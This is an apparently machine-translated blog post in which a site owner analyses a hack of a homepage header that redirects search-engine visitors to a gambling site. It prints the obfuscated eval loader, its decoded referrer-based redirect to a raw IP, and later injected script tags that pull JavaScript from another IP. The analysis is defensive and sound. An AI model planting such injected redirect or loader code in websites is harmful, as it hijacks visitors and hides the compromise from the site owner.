当前位置:网站首页>Remember the experience of automatically jumping to spinach station when the home page was tampered with
Remember the experience of automatically jumping to spinach station when the home page was tampered with
2022-07-03 21:22:00 【Magical star anise】
Preface #
A few days ago , Baidu search former owner's website , Suddenly found the website description It becomes the introduction of spinach station , This is a black rhythm .
Specifically, when you click to enter from the search engine , Will automatically jump to the spinach station , Directly enter the URL to access without jumping ,
screening #
All problems are under the source code , There is no hiding , Such jump , Usually in header in , This jump is fast , Sure enough , stay header Found a piece of code in , as follows
It is ENV Encrypted , It's not convenient to read .
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3("<4 8=\\"a\\">");2.3("d s=2.6");2.3("7(s.1(\\"9\\")>0 || s.1(\\"b\\")>0 || s.1(\\"c\\")>0 ||s.1(\\"r\\")>0 ||s.1(\\"e\\")>0 ||s.1(\\"f\\")>0 ||s.1(\\"g\\")>0 ||s.1(\\"h\\")>0 )");2.3("i.j=\\"k://l.m.n.o:p/q.5\\";");2.3("</4>");',29,29,'|indexOf|document|writeln|script|html|referrer|if|LANGUAGE|baidu|Javascript|sogou|soso|var|uc|bing|yahoo|so|location|href|http|103|37|233|13|888|bcs|sm|'.split('|'),0,{}))
After decryption
<script LANGUAGE="Javascript">;
var s=document.referrer;
if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )
location.href="http://103.37.233.13:888/bcs.html";
</script>
principle #
- Get sources
- Whether the match comes from a qualified search engine
- If yes, jump to the specified page
It can be seen that the search engine matching this code basically covers the domestic mainstream ( Baidu , sogou ,360 Search for , What a horse ,uc,bing, Yahoo ), As long as you search through these browsers , Will jump to the spinach station .
And directly enter the website , Does not trigger a jump , So there is a certain degree of concealment
Solution #
- Will this period of js Just delete the code
- Check for server or program vulnerabilities , Check why it was invaded , Now the server is mined , It's also very common , After being blacked out , Pay more attention to whether it is mined
follow-up #
Found that they upgraded , Insert in the head
<script type="text/javascript" rel="nofollow" src="http://103.30.4.96:7889/js/SCur.js" ></script>
They also joined Baidu statistics
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?9a4c62a1985e8fbd8d0ce7c1a54070d1";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
document.write("<script language=\"javascript\" type=\"text/javascript\" src=\"http://103.30.4.96:7889/js/PicLeft.js\"></script>");
The principle is still the same , However, statistics are added , It may be more convenient to monitor the number of views , Jump more times , It is also convenient for them to change the control script
I sent a reminder to my former colleagues , I searched the station , There are not a few websites hacked by similar methods , Give some websites with contact information , By the way, I sent a reminder , I want to receive a thank you , result .........
边栏推荐
- Global and Chinese market of telematics boxes 2022-2028: Research Report on technology, participants, trends, market size and share
- MySQL——JDBC
- Kubernetes 通信异常网络故障 解决思路
- Goodbye 2021, how do programmers go to the top of the disdain chain?
- 2022-02-15 Daily: 2022 AAAI fellow release
- Last week's content review
- Getting started with postman -- built-in dynamic parameters, custom parameters and assertions
- Scientific research document management Zotero
- No more! Technical team members resign collectively
- Imitation Netease cloud music applet
猜你喜欢

技术管理进阶——如何在面试中考察候选人并增大入职概率

2022 safety officer-c certificate examination and safety officer-c certificate registration examination
![Measurement fitting based on Halcon learning -- Practice [1]](/img/71/9f6c27aa89035b2550bdb0ac902045.jpg)
Measurement fitting based on Halcon learning -- Practice [1]

Xai+ network security? Brandon University and others' latest "interpretable artificial intelligence in network security applications" overview, 33 page PDF describes its current situation, challenges,

No more! Technical team members resign collectively

90 后,辞职创业,说要卷死云数据库

鹏城杯 WEB_WP

Haven't expressed the artifact yet? Valentine's Day is coming. Please send her a special gift~

MySQL——数据库备份
![Capture de paquets et tri du contenu externe - - autoresponder, composer, statistiques [3]](/img/bf/ac3ba04c48e80b2d4f9c13894a4984.png)
Capture de paquets et tri du contenu externe - - autoresponder, composer, statistiques [3]
随机推荐
QT6 QML book/qt quick 3d/ Basics
Apprentissage intensif - notes d'apprentissage 1 | concepts de base
Kubernetes 通信异常网络故障 解决思路
Inventory 2021 | yunyuansheng embracing the road
2022 melting welding and thermal cutting examination materials and free melting welding and thermal cutting examination questions
2022 high voltage electrician examination and high voltage electrician reexamination examination
Transformer structure analysis and the principle of blocks in it
UI automation test: selenium+po mode +pytest+allure integration
flink sql-client 退出,表就会被清空怎么办?
Solve the problem that openocd fails to burn STM32 and cannot connect through SWD
MySQL——数据库备份
一台服务器最大并发 tcp 连接数多少?65535?
"Designer universe" APEC safety and health +: environmental protection Panda "xiaobaobao" Happy Valentine's Day 2022 | ChinaBrand | Asia Pacific Economic media
Hcie security Day12: supplement the concept of packet filtering and security policy
Design e-commerce seckill system
Capturing and sorting out external articles -- autoresponder, composer, statistics [III]
Reinforcement learning - learning notes 1 | basic concepts
Refer to some books for the distinction between blocking, non blocking and synchronous asynchronous
Study diary: February 14th, 2022
Single page application architecture